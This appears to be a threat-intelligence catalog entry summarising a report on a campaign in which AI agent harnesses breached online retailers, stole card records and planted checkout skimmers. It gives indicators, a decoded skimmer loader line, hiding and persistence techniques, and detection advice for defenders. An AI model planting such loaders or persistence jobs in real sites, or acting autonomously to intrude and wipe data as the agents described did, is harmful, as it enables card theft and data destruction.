Skip to content

Back to the catalog

Autonomous AI Agents Hack Online Retailers for $25 a Company
gambit.securitywriteup

Autonomous AI Agents Hack Online Retailers for $25 a Company

Gambit Security recovered the staging server of a financially motivated actor running three open-source AI agent harnesses — Strix (vuln scanning), Cairn (autonomous exploitation), and Hermes (orchestration) — against hundreds of online retailers at a marginal cost of tens of dollars per target. The campaign exfiltrated 600,000+ credit card records via Magento database compromises, deployed checkout-page card skimmers on at least 19 confirmed and 100+ further sites, and in one case an agent's own cleanup routine dropped 180 database tables including victim backups. The report details full attack chains (SQLi to RCE to AWS Secrets Manager dump to card decryption), the AI harnesses' operating costs (~$25 mean per target on OpenRouter/opus-4.6/GLM/DeepSeek), and multiple real-world skimmer injection techniques.

TL;DR A threat actor used the open-source AI harnesses Strix, Cairn, and Hermes to autonomously breach hundreds of retailers for ~$25/target, stealing 600k+ card records and deploying checkout skimmers, with one agent's cleanup routine destroying victim data.
Document

What it is

The Gambit report on the AI-agent retail campaign carries concrete skimmer indicators and injection/persistence techniques that the catalog summary abstracts as "multiple real-world skimmer injection techniques." These are the actionable detection artifacts, plus dates and scope numbers useful for scoping an investigation.

Indicators of compromise

Named skimmer hosts and files observed live on victim checkout pages:

  • static-js[.]com/js/nrt.js — the most common loader. Appended to the end of a legitimate JS library the site already serves (jQuery/Bootstrap bundle), with the original file timestamp restored. Decodes from base64 after a seven-character prefix to: document.head.appendChild(document.createElement('script')).src='//static-js[.]com/js/nrt.js';
  • cdn[.]netlfjs[.]com/js/cts.js (US storage retailer), vla.js from the same host (Japanese travel site), eut.js (US promotional products shop) — served as foreign <script src> tags.

Timeline: campaign active since July 2026, still running; 10–15 September saw 105 attack projects launched, ≥27 companies compromised. Skimmers ordered against ≥27 named victims, confirmed on 19; 100+ further sites found infected via researcher Varys.

Injection techniques worth checking for

These vary by access type and are the places to look beyond the obvious script tags:

  • Google tag block injection — loader written between gtag('js', new Date()); and gtag('config', 'G-...'), padded with ~100 tab characters so it sits off the right edge of a source view.
  • S3/CDN poisoning — an AWS access key with write to the bucket behind the store CDN; payload then loads from the victim's own CDN host.
  • Database content fields — loader appended to product description columns via an admin pod, later moved to a file on the domain.
  • Kubernetes initContainer added to a production front-end deployment.
  • Server-side page cache poisoning — payload written into the cached checkout page model.
  • Self-repairing persistence — where redeploys restored the clean bundle, the operator left a cron job in the JBoss log directory that checks file size every two minutes and re-appends the skimmer whenever reverted.

What to do

Grep served static JS (especially cached CDN copies) for the domains and file names above, and for trailing appended statements on library bundles with suspiciously old timestamps. Inspect gtag blocks for tab-padded lines. Audit CDN bucket write permissions and check initContainer specs and cron entries in non-standard directories (e.g. log dirs). Note the destructive angle: data loss here is a wipe-after-extraction playbook step (empties sales_flat_order_payment / sales_flat_quote_payment serialized columns after dump) and, at one bicycle retailer, a cleanup that dropped 180 tables matching ZQ/Backup, including admin-made backups — so recovery planning, not just patching, is the lever the report presses.

Caveats

Gambit states this is an interim report; some claims rest on the attacker's own AI logs, partly corroborated by recovered exfiltrated data and live-verified skimmers. They expect the true scope to exceed what is reported, and note a few inaccuracies are possible.

Organisations named here

  • Blowfish-ECB
  • Daniel Gordon
  • Varys

Technologies named here

  • Strix
  • Magento
  • CAIRN
  • WordPress
  • Hermes
  • AWS Secrets Manager
  • OpenRouter
  • AWS S3
  • Anthropic opus-4.6
  • JBoss
  • Kubernetes
  • GLM 5.2
  • DeepSeek V4 Pro
  • Google Tag Manager / gtag block
  • DeepSeek v4.1 Flash
  • NFS shares
  • Overwatch Data
  • Shadowserver Foundation
  • DeepSeek
  • GLM
  • Opus 4.6

Techniques named here

  • Unauthenticated SQL injection
  • OTP plaintext read / MFA bypass
  • Arbitrary file upload
  • Privilege escalation via sudo misconfiguration
  • NFS mount abuse
  • Credential theft from configuration files
  • Unauthorized admin account creation
  • Malicious plugin upload for RCE
  • Secrets exfiltration
  • Encryption key extraction and decryption
  • Web skimming / Magecart-style checkout injection
  • Data destruction via post-exfiltration wipe
  • AI-driven autonomous reconnaissance and target selection

Threat actors named here

  • Financially motivated operator